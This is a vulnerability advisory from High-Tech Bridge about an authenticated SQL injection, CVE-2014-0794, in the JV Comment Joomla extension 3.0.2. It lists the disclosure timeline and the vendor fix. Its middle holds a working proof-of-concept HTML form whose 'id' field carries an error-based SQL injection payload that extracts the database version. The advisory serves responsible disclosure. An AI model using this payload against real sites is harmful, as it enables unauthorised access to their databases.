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SQL Injection in JV Comment Joomla Extension

Advisory ID:HTB23195
Product:JV Comment Joomla Extension
Vendor:joomlavi.com
Vulnerable Versions:3.0.2 and probably prior
Tested Version:3.0.2
Advisory Publication:January 2, 2014 [without technical details]
Vendor Notification:January 2, 2014
Vendor Fix:January 14, 2014
Public Disclosure:January 23, 2014
Latest Update:January 14, 2014
Vulnerability Type:SQL Injection [CWE-89]
CVE Reference:CVE-2014-0794
Risk Level:Medium
CVSSv2 Base Score:6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in JV Comment Joomla Extension, which can be exploited to perform SQL Injection attacks.

1) SQL Injection in JV Comment Joomla Extension: CVE-2014-0794
The vulnerability exists due to insufficient validation of "id" HTTP POST parameter passed to "/index.php" script. A remote authenticated attacker can execute arbitrary SQL commands in application's database.
The following exploitation example displays version of MySQL database:
<form action="http://[host]/index.php" method="post" name="main">
<input type="hidden" name="option" value="com_jvcomment">
<input type="hidden" name="task" value="comment.like">
<input type="hidden" name="id" value="1 AND 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2)))">
<input type="submit" id="btn">
</form>

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Solution:
Update to JV Comment 3.0.3

More Information:
http://extensions.joomla.org/extensions/contacts-and-feedback/articles-comments/23394


References:
[1] High-Tech Bridge Advisory HTB23195 - https://www.immuniweb.com/advisory/HTB23195 - SQL Injection in JV Comment Joomla Extension.
[2] JV Comment Joomla Extension - http://www.joomlavi.com/joomla-extensions/jv-comment.html - With JV Comment, adding a comment system to your articles is now as simple as installing a plug-in and adjusting a few parameters.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.
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